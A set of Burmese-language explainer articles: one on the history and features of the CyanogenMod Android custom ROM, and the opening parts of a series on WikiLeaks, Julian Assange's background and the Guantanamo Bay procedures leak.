အရှေ့မှာပြောခဲ့သလိုပဲ Android က open source ဖြစ်တဲ့အတွက် ဘယ်သူမဆို source code ကို download ဆွဲပြီးတော့ ကိုယ်ပြင်ဆင်ချင်သလိုပြင်ဆင်ပြီးတော့ ပြန်လည် ဝေမျှလို့ရပါတယ်။ Open source တို့ရဲ့ ထုံးစံအတိုင်း ပိုမိုလွတ်လပ်ခွင့် ရှိတဲ့အတွက် ပြီးတော့ ပြင်ဆင်ဖို့ကို developer တွေက အဆင်သင့်ရှိနေတတ်ပါတယ်။ အဲ့လို လွတ်လပ်ခွင့်ရှိလိုလည်း CyanogenMod လို Android ကနေ fork လာတဲ့ Custom ROM တွေထွက်ရှိလာတာဖြစ်ပါတယ်။ Custom ROM လို့ခေါ်တဲ့နေရာမှာလည်း အသုံးအနှုန်းအားဖြင့် မှန်တော့မမှန်ပါဘူး။ နည်းပညာလောကမှာ နှုတ်ကျိုးလာလို့တာ ခေါ်လာကြတဲ့ Custom ROM ဆိုတာဟာ အမှန်မှာတော့ Custom Firmware သို့မဟုတ် Custom OS လို့ခေါ်မှသာ မှန်မှာပါ။ ဘယ်လိုပဲဖြစ်ဖြစ် ဒီ post မှာတော့ နှုတ်ကျိုးနေပြီးသား ဖြစ်တဲ့ Custom ROM ရယ်လို့သာ ဆက်ပြီးတော့ သုံးနှုန်းသွားပါ့မယ်။ ဆိုလိုရင်းက CyanogenMod ဆိုတာ Android ရဲ့ Custom ROM တစ်ခုဖြစ်ပါတယ်။ နောက်ပြီးတော့ Cyanogen ဆိုကတော့ Chemistry မှာဆိုရင် အရောင်မရှိတဲ့ အဆိပ်ရှိတဲ့ မီးတောက် ဓာတ်ငွေ့တမျိုးဖြစ်ပါတယ်။ Android ရဲ့ Custom ROM ကိုရေးတဲ့ project team တွေဟာ သူတို့ကိုယ် သူတို့ နာမည်အပြောင်တွေ ပေးလေ့ရှိပါတယ်။ Cyanogen project ထဲမှာပဲ နောက်အဖွဲ့ နာမည်က Team Douche ဆိုတာလည်းရှိပါသေးတယ်။ CyanogenMod ကို ဒီနေရာကနေစပြီးတော့ CM လို့ပဲ အတိုကောက်ခေါ်ပါတော့မယ်။ အပြင်မှာလည်း CM လို့ သာ ခေါ်ဆို သုံးနှုန်းကြပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-139696d7ba73c3391433763b04928d9fa51dd485%2Fcyanogenmod-logo.jpg?alt=media" alt=""><figcaption></figcaption></figure>

CM ကို ပထမဆုံး စတင်ထုတ်လုပ် ခဲ့တာ ၂၀၀၉ခုနှစ်ထဲမှာ HTC Dream နဲ့ HTC Magic အတွက် Android အပြင် သုံးလို့ရတဲ့ OS တစ်ခုအနေနဲ့ မိတ်ဆက်ပေးလိုက်ပါတယ်။ တကယ်တမ်းမှာတော့ HTC Dream ဟာ Android ကို ၂၀၀၈ခုနှစ်ထဲမှာ စီးပွားဖြစ်စတင်ထုတ်လုပ်တဲ့ mobile တစ်လုံးဖြစ်ပါတယ်။ ပြောရရင် CM ဟာ Android နဲ့ မရှေးမနှောင်း mobile market ထဲကို ဝင်ရောက်ခဲ့တာဖြစ်ပါတယ်။ Cyanogen ကိုစစထုတ်ချင်းမှာတော့ JesusFreke ဆိုတဲ့ nickname နဲ့ developer တစ်ယောက်က စတင်ရေးသားခဲ့ပါတယ်။ ၂၀၀၉ခုနှစ်မှာတော့ JesusFreke ကဆက်ပြီးတော့ maintain မလုပ်နိုင်တော့လို့ production ကိုရပ်လိုက်ရပြီးတော့ Steve Kondik သို့မဟုတ် nickname Cyanogen ကိုဆက်လက် maintain လုပ်စေခဲ့ပါတယ်။ Cyanogen က ဆက်ပြီး Modify လုပ်ထားလို့ CyanogenMod လို့ခေါ်ဆိုခြင်းလည်းဖြစ်ပါတယ်။ CM ဟာအဲ့ဒီမှာ စတင်မွေးဖွားလာပါတော့တယ်။ Android 2.3 Gingerbread ကို အခြေခံထားတဲ့ CM 7 မှာတော့ CM ကိုလူတွေက စပြီးတော့ စိတ်ဝင်တစားရှိလာကြပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-c9771f64932e841c62032409b3e61219492f4437%2FSteve-Kondik-aka-Cyanogen.png?alt=media" alt=""><figcaption></figcaption></figure>

CM ကကောင်းတာတော့ ဟုတ်ပြီ ဘာကြောင့် ဖုန်းနဲ့လာတဲ့ Android OS သို့မဟုတ် Manufacturer ကထည့်ပေးလိုက်တဲ့ mobile OS ကို မသုံးပဲ CM ကိုဘာလို့ ပြောင်းသုံးရမှာလဲ။ အဖြေကတော့ Freedom ပိုပြီးတော့ရနိုင်လို့ပါ။ CM လို Custom ROM တွေသုံးခြင်းအားဖြင့် feature အသစ်တွေ စမ်းသပ်သုံးကြည့်လို့ ရရုံသာမက ကိုယ်စိတ် ကြိုက် ပြောင်းလဲသုံးလို့ရတဲ့ ဟာတွေဟာ CM ရဲ့ အားသာချက်တွေပဲဖြစ်ပါတယ်။ နောက်ပြီးတော့ CM Custom ROM တွေတော်တော်များများဟာ root ဖောက်ပြီးသာတွေများပါတယ်။ CM Custom ROM သီးသန့်ကိုတင်ပြီးမှ root ဖောက်ချင်လည်းရပါတယ်။ တချို့ကတော့ root ဖောက်တယ်ဆိုတာ အပျက်သဘောမျိုးနဲ့ သိထား ထင်ထားကြပါတယ်။ အမှန်မှာတော့ root ဖောက်တယ်ဆိုတာ Linux distro တွေမှာလိုပဲ sudo နဲ့ command တစ်ခု run တဲ့ သဘောမျိုးတဲ့ အတူတူပဲဖြစ်ပါတယ်။ Apple က Jailbreak နဲ့တော့ မတူပါဘူး။ root ဆိုတာ Linux မှာဆို su root command ကို run ပြီးတော့ root access ပေးလိုက်တာနဲ့ အတူတူပါပဲ။ မသုံးတတ်တဲ့ end users တွေဟာ တွေ့ကရာ App တွေကို download ဆွဲပြီးတော့ root နဲ့ run လိုက်တဲ့အတွက် phone ပေါ်ကို malware တွေဟာ ရောက်လာပြီးတော့ security breach နဲ့ backdoor တွေကိုဖွင့်ပြီး user data ကို ခိုးယူတာမျိုးဖြစ်တတ်တာပါ။ နည်းပညာဘက်မှာ ကျွမ်းကျင်သူ မဟုတ်ရင်တော့ CM ကိုသုံးချင်ရင် CM ကြီးပဲ သက်သက်တင်ပြီးတော့သုံးသင့်ပါတယ်။ root မဖောက်သင့်ပါဘူး။ CM ကို flash လုပ်ပြီးရင် Manufacturer ကတင်ပေးလိုက်တဲ့ OS မတူတာနောက်တစ်ခုက Google Play Services တွေဖြစ်တဲ့ Google Play Store တို့ Google Voice Assistant တို့ လိုဟာတွေကို CM မှာ မတွေ့နိုင်ပါဘူး။ ကိုယ်က Google Play ကိုမသုံးချင်လို့ တခြား App store ကိုသုံးချင်လည်းရအောင်လုပ်ပေးထားတာပါ။ Google service တွေဟာ user ရဲ့ data ကို collect လုပ်ပြီးတော့ trace လည်းလုပ်တဲ့အတွက် သိတဲ့သူ တော်တော်များများ က မကြိုက်ပါဘူး။ ဥပမာ Google Map App ကိုသုံးနေရင် user ရဲ့ movement ကို trace လုပ်ပြီးတော့ Google Map ရဲ့ road traffic ကိုတွက်ချက်ပေးပါတယ်။ ကောင်းကျိုးလည်းရှိသလို ဆိုးကျိုးလည်းရှိပါတယ်။ CM မှာ Google Play service တွေကို သုံးချင်ရင် OpenGapp ဆိုတာရှိပါတယ်။ ဒါကိုကြည့်ခြင်းအားဖြင့် CM ကို အသုံးပြုခြင်းဟာ အားသာချက်တွေရှိသလို ပိုမိုရွေးချယ်ပိုင်ခွင့်လည်း ရှိတာကိုတွေ့နိုင်ပါတယ်။အောက်မှာတော့ ထွက်ရှိပြီးသား CM version နဲ့ သူအခြေခံထားတဲ့ Android version ကိုတွဲပြီးတော့ဖော်ပြပေးထားပါတယ်။

CyanogenMod 3 (based on Android Cupcake 1.5.x, initial release)\
CyanogenMod 4 (based on Android Cupcake 1.5.x and Android Donut 1.6.x)\
CyanogenMod 5 (based on Android Eclair 2.0/2.1)\
CyanogenMod 6 (based on Android Froyo 2.2.x)\
CyanogenMod 7 (based on Android Gingerbread 2.3.x)\
CyanogenMod 9 (based on Android Ice Cream Sandwich 4.0.x, major UI revamp)\
CyanogenMod 10 (based on Android Jelly Bean 4.1.x to 4.3.x)\
CyanogenMod 11 (based on Android KitKat 4.4.x)\
CyanogenMod 12 (based on Android Lollipop 5.0.x to 5.1.x, major UI revamp)\
CyanogenMod 13 (based on Android Marshmallow 6.0.x)\
CyanogenMod 14.1 (based on Android Nougat 7.1.x)

ဒီအပိုင်းမှာတော့ ဒီလောက်နဲ့ပဲရပ်လိုက်ပါတော့မယ်။ နောက်တစ်ခုမှာတော့ CM ရဲ့ အတက်အကျ အနိမ့်အမြင့်နဲ့ မမျှော်လင့်ပဲ အဆုံးသတ်သွားတာကို ဆက်လက်ရေးသားသွားမှာ ဖြစ်ပါတယ်။


# WikiLeaks ဆိုသည်မှာ အပိုင်း (၁)

ဒီဘက်ခေတ်လူတွေ ပြောနေကြ စကားတစ်ခုရှိပါတယ်။ ဒီခေတ်က Information ခေတ် အချက်အလက်တွေ သတင်းမီဒီယာတွေနဲ့ နိုင်ငံတကာကို သွားကြည့်စရာမလိုပဲနဲ့ တစ်ကမ္ဘာလုံးကို ချိတ်ဆက်ထားတဲ့ အင်တာနက်ခေတ်ဆိုပြီးတော့ ပြောနေကြပါတယ်။ ပြောရတာလွယ်ပေမယ့် တကယ်တမ်း အဲ့ဒီ Information ဆိုတာက ဘယ်လောက်တောင်မှ ဒီဘက်ခေတ်လူတွေကို သက်ရောက်မှု ရှိနေပြီလဲ၊ ဘယ်လိုသက်ရောက်မှု ရှိနေပြီလဲဆိုတာကတော့ ရှင်းပြဖို့ရာတော်တော် လေးကိုခက်ခဲမယ်လို့ စာရေးသူ ထင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-ecac86f28fe40ce035d9b759dff352b65bdf98f7%2FInternet_map_1024.jpg?alt=media" alt=""><figcaption></figcaption></figure>

ဆိုပါတော့… အရင်တုန်းကတော့ လူကြီးတော့ ပြောတဲ့ Industrial ခေတ်ကို ပြန်ကြည့်လိုက်ရအောင်ဗျ။ အဲ့ဒီတုန်း ကလည်းစက်မှုလက်မှုခေတ် အလုပ်သမားတော်လှန်ရေး စက်မှုတော်လှန်းရေးဆို ပြီးနိုင်ငံတကာမှာ ရှိခဲ့ကြပါတယ်။ ပြောရမယ်ဆိုရင်တော့ သိပ္ပံပညာရဲ့ စူးစမ်းမှုတွေ ကြောင့် စက်ပစ္စည်းတွေ စက်မှုနည်းပညာတွေမှာ အရမ်းထွန်းကားခဲ့ပြီးတော့ materialism ဆိုတဲ့ လူတွေအတွက် မက်လောက်စရာ ပစ္စည်းတွေကို အသစ်အသစ် တီထွင်နိုင်ခဲ့ကြပါတယ်။ မော်တော်ကားလို မိုးမျှော်တိုက်တွေနဲ့ အခြားအခြားသော မရေတွက်နိုင်သော တိုးတက်မှုကြီး တရပ်ကို ကမ္ဘာလူသားများ ရှာဖွေရရှိခဲ့ပါတော့တယ်။ တဘက်မှာလည်း အဲ့ဒီတိုးတက်မှုနဲ့တပိုင်းတည်းမှာ ထွက်ရှိလာတဲ့ အမြတ်ထုတ်ခံရတဲ့ အလုပ်သမားလူတန်းစား တရပ်လည်းပေါ်ပေါက်လာခဲ့ပါတယ်။ ဒါကတော့ Industrial Age မှာဖြစ်ခဲ့တဲ့ဟာကို ဒီဘက်ခေတ်ကလူတွေ သမိုင်းကတဆင့် ပြန်လည်သိရှိ သင်ယူကြရပါတယ်။ ဒါဟာ လူ့သမိုင်းအတွက် အရေးကြီးသော သင်ယူစရာများနဲ့ ဖြတ်သန်းခဲ့ရတဲ့ အတွေးအကြုံ တစ်ခုအနေနဲ့ စာရေးသူမြင်မိပါတယ်။ သမိုင်းဆိုတာမျိုးက တစ်ကျော့ ပြန်တတ်ပါတယ်။ ပုံစံဆင်တူတွေ ထက်ကာထက်ကာ ဖြစ်တတ်ပါတယ်။ ဒီဘက်ခေတ် Information Age မှာလည်း သတင်းအချက်အလက်တွေနဲ့ ဆက်သွယ်ရေးဆိုင်ရာ နည်းပညာပိုင်းမှာလည်း သမိုင်းမှာလိုမျိုး ခပ်ဆင်ဆင်လာဖြစ်နေပုံရပါတယ်။ Industrial Age တုန်းက စက်မှုထွန်းကားခဲ့သော်လည်း အဲ့ဒီထွန်းကားမှုတွေကို လူတိုင်းစေ့ မခံစားခဲ့ရပါဘူး။ လူကုံထံ လူချမ်းသားအသိုင်းအဝိုင်းနဲ့ အာဏာရှိသူ လူတစ်စုကသာ အပြည့်အဝ ရခဲ့ကြပါတယ်။ ဒီဘက်ခေတ် Information Age မှာလည်း အရေးကြီးတဲ့ သတင်း အချက်အလက်တွေ အားလုံးကို လူတိုင်းစေ့ သိခွင့် လေ့လာခွင့် မရပါဘူး။ ဟိုအရင်တုန်းကလိုပဲ လူချမ်းသာများနဲ့ အာဏာရှင်တွေသာ သိနိုင်စွမ်းရှိပြီးတော့ ဘယ် သတင်း ဘယ်အချက်အလက်ကတော့ ဖြင့်ဘယ်အချိန်မှာ ဘယ်လို ထုတ်ဆိုတာမျိုးတွေကို ချုပ်ကိုင်ထားဆဲပါ။ အဲ့ဒီတော့ Information ခေတ်လို့လည်းဆိုတယ် Information တွေကို ချုပ်ကိုင်ထားတဲ့ အနေအထားမျိုး၊ သမိုင်းမှာလည်း ဖြစ်ပြီးသား ဆင်တူဖြစ်ရိုးဖြစ်စဉ်ပုံစံမျိုးလက်ရှိမှာ ဒီဘက်ခေတ်ကလူတွေ ထပ်မံကြုံတွေ့နေရပြန်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-55227646bc9d26498764cad04f84a7f0f39cefbb%2Finternet-censorship.jpg?alt=media" alt=""><figcaption></figcaption></figure>

အဲ့ဒီလိုချုပ်ကိုင်ထားတဲ့အတွက် အဲ့ဒါကိုတော်လှန်ဖို့ဆိုပြီးတော့ WikiLeaks ဆိုတဲ့ Information ဖြန့်ဖြူးတဲ့ platform တစ်ခုပေါ်လာပါတော့တယ်။ မရှေးမနှောင်း မှာပဲတော်လှန်ရေးမှာပါဝင်ဖို့ အတွက် Anonymous ဆိုတဲ့ hacker/cyber activist လူတန်းစားလည်း ပေါ်ပေါက်လာခဲ့ပါတယ်။ WikiLeaks အကြောင်းပြောမယ်ဆိုရင်တော့ WikiLeaks ကိုတည်ထောင်ခဲ့တဲ့ Julian Assange ဆိုတဲ့ ပုဂ္ဂိုလ်အကြောင်းလည်း မပြောလို့မပြီးပါဘူး။ အဲ့ဒီတော့ ဒီတပိုင်းမှာတော့ Julian Assange ဆိုတာဘယ်သူလဲ ဆိုတာနဲ့ အရင် မိတ်ဆက်ပေးချင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-c72748e81388a9646b5d5a0426e209d9e0efb7dc%2FWikileaks_logo.svg_-130x300.png?alt=media" alt=""><figcaption></figcaption></figure>

## Julian Assange ဆိုတာဘယ်သူလဲ

Julian Assange ကိုတော့ ဩစတြေးလျ (Australia) နိုင်ငံ၊ ကွင်းစလန် (Queensland) ပြည်နယ်ရဲ့ တောင်း(စ်)ဗေး (Townsville) လို့ခေါ်တဲ့ မြို့လေးမှာ ၃ရက်နေ့ ဇွန်လိုင်လ ၁၉၇၁ခုနှစ်မှာ မွေးဖွားခဲ့ပါတယ်။ သူ့ရဲ့ မိဘတွေကတော့ သူမမွေးခင်ကတည်းက ကွဲနေခဲ့ပြီးတော့ မိခင်ဖြစ်သူနဲ့ အတူနေထိုင်ပါတယ်။ သူ့အသက် ၁နှစ်သားလောက်မှာ သူ့မိခင်ဟာ သရုပ်ဆောင်တစ်ယောက်နဲ့ နောက်အိမ်ထောင်ပြုပြီးတော့ ပြဇာတ်ရုံ လုပ်ငန်းငယ်တစ်ခုကို စတင်ခဲ့ပါတယ်။ ငယ်စဉ်က မိခင်နဲ့ ပထွေးက နယ်တကာ ပတ်သွားကာ ပြဇာတ်လုပ်ငန်း လုပ်ရသဖြင့် သူလည်း မိဘများနဲ့အတူ နယ်စုံလျှောက်သွားရပါတယ်။ အဲ့ဒါကိုလည်း သူအရမ်း နှစ်သက်ခဲ့တယ်လို့လည်းဆိုပါတယ်။ နယ်မြို့သေးသေးလေးမှာ ကြီးပြင်းရသည့်လူငယ်တစ်ယောက်ဖြစ်ပါတယ်။ မိခင်ဖြစ်သူမှာ သူငယ်စဉ်အခါက အဲ့ဒီအချိန်တုန်းက The Family လို့လူသိများတဲ့ အယူဝါဒ ဏိုင်း(cult) ကို ယုံကြည်လိုက်စားသည့်အလျှောက် Julian Assange တစ်ယောက်လည်း အဲ့ဒီဝါဒရဲ့ စိုးမိုးမှုအောက်မှာရှိတယ်နိုင်တယ်လို့ဆိုပါတယ်။ အဲ့ဒီဝါဒမှာတော့ ကလေးငယ်တွေကို ငယ်စဉ်ကတည်းက ဆံပင် အဖြူ မျက်ခုံး အဖြူ ပြောင်းပေးခြင့်ဖြင့် ပိုမိုသန့်စဉ်စေတယ်လို့သိရပါတယ်။ အဲ့ဒါကြောင့်လည်း သူကိုများသောအားဖြင့် ဆံပင်အဖြူနဲ့သာတွေ့ရပါတယ်။ သူ့နဂိုက ဆံပင်အဖြူမဟုတ်ပါ။ ငယ်စဉ်အခါက နယ်တကာလျှောက်သွားနေသည့်အတွက် ကျောင်း ၃၆ ကျောင်းကို ပြောင်းလဲ တက်ခဲ့ရတယ်လို့လည်းဆိုပါတယ်။ နောက်ဆုံးမှာတော့ မဲ(လ်)ဘန်မြို့ (Melbourne) မှာ မိခင်နဲ့ အတူပြန်လည် အခြေချနေထိုင်ပြီး Physics ကို University of Melbourne မှာတက်ရောက်ခဲ့ပါတယ်။ အဲ့ဒီမှာကျောင်း မပြီးပြန်ပါဘူး။ အသက် ၃၀ ကျော်လောက်ထိ မိခင်နဲ့ အရိပ်အောက်မှာ နေထိုင်ခဲ့ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-3dbfbcffe6962d7d9f4fe12fa4a103581e9d52a6%2Fjulian_assange_2010-front1-768x563.jpg?alt=media" alt=""><figcaption></figcaption></figure>

၁၉၈၇ခုနှစ်မှာတော့ Julian Assange တစ်ယောက် Mendax ဆိုတဲ့နာမည်သုံးပြီးတော့ International Subversives ဆိုတဲ့ hacking group ထဲမှာ သူစိတ်ဝင်စားပြီး ကျွမ်းကျင်တဲ့ hacking ကို အပျော်သဘောမျိုးနဲ့ စတင်လုပ်ဆောင်ခဲ့ပါတယ်။ ပြဿနာစတက်တာကတော့ သူနဲ့ သူအဖွဲ့အမေရိကန်နိုင်ငံရဲ့ စစ်ဘက်ဆိုင်ရာ အရေးကြီးတဲ့ Pentagon လိုနေရာမှာရှိတဲ့ database ကို hack ရာကနေ စတော့တာပါပဲ။ ဒါ့အပြင် အမေရိကန်နိုင်ငံရဲ့ Department of Defence, MILNET, the US Navy, NASA တို့လို cyber security တင်းကျပ်ထားတဲ့ နေရာတွေကို hack နိုင်ခဲ့ပါတယ်။ အဲ့ဒါကြောင့်လည်း ဩစတြေးလျ အစိုးရက သူ့ကို hacking နဲ့ဆိုင်တဲ့ စွဲချက်ပေါင်း ၃၀ ကျော်ကျော်လောက်နဲ့ တရားစွဲခဲ့ပါတယ်။ သို့ပေမယ့်လည်း ရှေ့နေအလိုက်ကောင်းလို့ ဒဏ်ကြေးသာပေးဆောင်ပြီး အဲ့ဒီအမှုကို အဆုံးသတ်နိုင်ခဲ့ပါတယ်။ Julian ကအဲ့ဒီအချိန်တုန်းက ကမ္ဘာကြီးတစ်ခုလုံးကို ချိတ်ဆက်ထားတဲ့ အင်တာနက်ကနေ တဆင့်ကိုယ် ကြိုက်တဲ့နေရာမှန်သမျှ ကို hack လုပ်ပြီးမွှေနှောက်လိုက်ရတာကို လွတ်လပ်ခြင်းရဲ့ အရသာတမျိုးလို့ ဆိုပါတယ်။ အဲ့ဒါကိုကြည့်ခြင်းအားဖြင့် သူဟာ Cyber Activist၊ Journalist ပိုင်းမှာ လိမ္မာပါးနက်သူ ဖြစ်ရုံသာမက နည်းပညာပိုင်းမှာ ကျွမ်းကျင်သူဖြစ် တယ်ဆိုတာကိုသိနိုင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-2de084b1d3df392e2108e28df0fc07b4e703b813%2Fwikileaks-julian-assange-time-cover.jpg?alt=media" alt=""><figcaption></figcaption></figure>

Julian Assange ဟာ WikiLeaks ကို ၂၀၀၆ခုနှစ်မှာစတင်တည်ထောင်ခဲ့ပါတယ်။ WikiLeaks ရဲ့ ရပ်တည်ချက်ကတော့ နိုင်ငံတကာရဲ့ ထိပ်တန်း လျှို့ဝှက်သတင်း အချက်အလက်တွေကို လူတိုင်းသိနိုင် ဖတ်နိုင်အောင်လို့ ပြန်လည်မျှဝေဖို့ပါ။ Leak လို့ အင်္ဂလိပ်လို ခေါ်ပါတယ်။ စိတ်ဝင်စားစရာကောင်းတာ ကတော့ အဲ့ဒီ leak တွေကို သူကိုယ်တိုင် hack ယူပြီးတော့ WikiLeaks ကနေတဆင့် ပြန်လည်ဝေမျှတာ မျိုးမဟုတ်ပဲ၊ တခြား အမည်မသိသူတွေကနေတဆင့် WikiLeaks ကို submit လုပ်လာတဲ့ အချက်အလက်တွေကို လူတိုင်းဖတ်လို့ရအောင် အကုန်ပြန်တင် ပေးတာဖြစ်ပါတယ်။ သူ့ရဲ့ ယုံကြည်ချက်က submit လုပ်လာတဲ့ အချက်အလက်ကို တည်းဖြတ်မှုမလုပ်ပဲနဲ့ တင်တဲ့သူ တင်လာတဲ့အတိုင်းပြန်လည်ဝေမျှခြင်း သာလျှင် censorship ကင်းနိုင်လိမ့် မယ်ဆိုတာပါပဲ။ နောက်ပြီး ဘယ်သူ submit လုပ်လာသလဲဆိုမျိုးကိုတော့ Julian Assange တစ်ယောက်ပြန်ပြောပါဘူး။ ဒီနည်းနဲ့ အချက်အလက်ကို submit လုပ်တဲ့ source ကို အကာအကွယ်ပေးတယ်ဆိုမျိုးနဲ့ လူတော်တော်များများ submit လုပ်လာကြပါတယ်။ WikiLeaks ကို ကိုယ်က လျှို့ဝှက်အချက်အလက်ကို submit လုပ်ချင်ရင်တော့ trace လုပ်လို့ မရအောင်လို့ onion routing ကိုသုံးရမှာဖြစ်ပြီးတော့ ဘယ်သူမှ ကြားကနေဖြတ်ပြီးတော့လည်း ပို့လိုက်တဲ့အချက်အလက်ကို ဖတ်လို့မရအောင်လို့ အကာအကွယ်ပေးထားတဲ့ submission platform ပေါ်မှာ တင်ရမှာဖြစ်ပါတယ်။

WikiLeaks ကြောင့် တကမ္ဘာလုံးက leak တွေအကြောင်းကို စိတ်ဝင်တစား ဖြစ်ခဲ့ပြီးတော့ Julian Assange တစ်ယောက်နိုင်ငံတကာက ပေးအပ်တဲ့ဆုပေါင်းများစွာ ကိုရခဲ့ပါတယ်။ အမေရိကန်နဲ့ ဥရောပ နိုင်ငံတော်တော်များများရဲ့ လျှို့ဝှက် သတင်းအချက်အလက်တွေကို leak တွေအနေနဲ့ဖော်ပြပြီးတဲ့နောက်မှာတော့ Julian Assange မှာလည်း ရန်သူပေါင်းများစွာရှိလာခဲ့ ပါတယ်။ နိုင်ငံတကာ အစိုးရနဲ့ စစ်တပ်ပိုင်းဆိုင်ရာက မတရားလုပ်ထားတဲ့ လျှို့ဝှက်သတင်းတွေကို WikiLeaks မှာအခုဆို စုံစုံလင်လင်ရှိနေပါပြီ။ Julian Assange ကို အင်အားကြီးနိုင်ငံ အစိုးရတွေက အမှုဆင်ပြီးတော့ ဖမ်းဆီးဖို့ကြိုးစားနေချိန်မှာတော့ Julian Assange ဘက်ကနေ ရပ်တည်ပြီး တန်ပြန်တိုက်ခိုက်ပေးသူတွေကတော့ Anonymous ဆိုပြီးလူသိများတဲ့ hacker တွေ internet activist တွေ နဲ့ ဖွဲ့စည်းထားတဲ့ အဖွဲ့ကြီးပဲဖြစ်ပါတယ်။ Anonymous အကြောင်းကိုတော့ နောက်မှပဲအသေးစိတ် ရေးမယ်လို့တော့ စိတ်ကူးထားပါတယ်။ အခုတော့ WikiLeaks ကို စတင်တည်ထောင်ခဲ့တဲ့ Julian Assange အကြောင်းကို နည်းနည်းမိတ်ဆက်ပေးရင်နဲ့ ဒီအပိုင်းကို ဒီမှာပဲရပ်လိုက်ပါတော့မယ်။ နောက်အပိုင်းတွေမှာတော့ WikiLeaks က leak လုပ်ခဲ့တဲ့ နာမည်ကြီး လျှို့ဝှက်သတင်းကြီးတွေအကြောင်းကို ဆက်ရေးပါ့မယ်။


# WikiLeaks ဆိုသည်မှာ အပိုင်း (၂)

ဒီတပိုင်းမှာတော့ WikiLeaks ရဲ့ နာမည်ကျော်ကြား တဲ့ leak တွေအကြောင်းကို ဖော်ပြချင်ပါတယ်။ WikiLeaks ကို ၂၀၀၆ လောက်မှာ တည်ထောင်ခဲ့သော်လည်း တကယ်တန်း လူသိများလာတာအချိန်က ၂၀၀၇ နှစ်အလယ်လောက်မှာမှ စတင်နာမည်ကြီးလာတာပါ။ အောက်မှာတော့ သူရဲ့ နာမည်ကျော်ကြားတဲ့ leak တွေအကြောင်းကို အချိန်အလိုက် တစ်ခုပြီးတစ်ခု စမိတ်ဆက်ပေးပါ့မယ်။ Leak တွေကတော့ နိုင်ငံရေး လူမူရေး အရှုပ်တော်ပုံတွေများစွာနဲ့ တော်တော်လေးကို စုံလင်ပါတယ်။ တချို့ leak တွေက နိုင်ငံရေး အလှည့်အပြောင်းတစ်ခုဖြစ်သည်အထိ ထိရောက်မှုရှိသလို၊ တချို့ leak တွေမှာတော့ ကမ္ဘာ့လူသားများတော်တော်များများ မသိသေးတဲ့ နိုင်ငံတကာ အစိုးရနဲ့ အထက်တန်းလွှာလူတမ်းစားတစ်ရပ်ရဲ့ အရှုပ်တော်ပုံတွေပါ။ စိတ်ဝင်စားဖို့ကောင်းသလို လေ့လာစရာတွေအများကြီးကိုလည်း WikiLeaks မှာ ဖတ်ရှုသိရှိနိုင်ပါတယ်။ ဆိုးတာတစ်ခုကတော့ WikiLeaks ဟာဘယ်တော့မှ edit ပြန်လုပ်တာမျိုးမရှိပဲနဲ့ leak တွေကိုတင်လိုက်တဲ့အတိုင်း ပြန်တင်ပါတယ်။ တချို့နေရာတွေမှာ နာမည်တွေ ပုဂ္ဂိုလ်ရေးဆိုင်ရာတွေ ပြန်ပါတာမို့ ထိခိုက်သူမြောက်များစွာလည်းရှိပါတယ်။ နောက်ပိုင်းတော့ WikiLeaks က ပြင်သင့်သလောက် နာမည်တွေထုတ်သင့်သလောက်ထုတ်လာတာကိုလည်း တွေ့ရပါတယ်။ မလိုအပ်ပဲ မထိခိုက်သင့်တဲ့သူ ကိုမထိခိုက်စေလိုတဲ့ သဘောမျိုး စေတနာမျိုးလည်း ဖြစ်ပါတယ်။

## ဂွန်တာနမိုဘေး ထိန်းသိမ်းရေးစခန်း ပုံမှန်လုပ်ငန်းအဆင့်များ (Guantanamo Bay Detention Camp: Standard Operating Procedures)

မတ်လ ၂၀၀၃ခုနှစ်က ကူးယူထားရှိခဲ့သော ဂွန်တာနမိုဘေး Delta Camp အတွင်းက ထိန်းသိမ်းရေးစခန်း ပုံမှန်လုပ်ငန်းဆောင်တာ အဆင့်များ စာရွက်စာတမ်းကို WikiLeaks က နိုဝင်ဘာလ ၂၀၀၇ခုနှစ်မှာ ထုတ်ပြန်ခဲ့ပါတယ်။ အဲ့ဒီထဲမှာတော့ အမေရိကန်စစ်တပ်ရဲ့ Delta Camp အတွင်းက လုပ်ငန်းဆောင်တာ အသေးစိတ်ကို ဖော်ပြထားပါတယ်။ ပုံမှှန်စာရွက်စာတမ်းလို့ ထင်ရပေးမယ့်လည်း ထူးခြားချက်က အမေရိကန်စစ်တပ်ရဲ့ နိုင်ငံရေး အကျဉ်းသား အချို့က ကိုင်တွယ်ရာမှာ နိုင်ငံတကာ ကြက်ခြေနီ ကော်မတီ အဖွဲ့က သဘောတူထားတဲ့ လူ့အခွင့်အရေး များကိုမလိုက်နာပဲ ခြေလွန်လက်လွန်လုပ်ထားတဲ့ အပိုင်းတွေပါဝင်တာကြောင့် နိုင်ငံတကာ နဲ့ လူအခွင့်အရေးအဖွဲ့ တွေက မေးခွန်းထုတ်စရာဖြစ်လာပါတော့တယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-b219f0cb34760a0258965c8dd40be8a83ef4a19c%2Fsplash.png?alt=media" alt=""><figcaption></figcaption></figure>

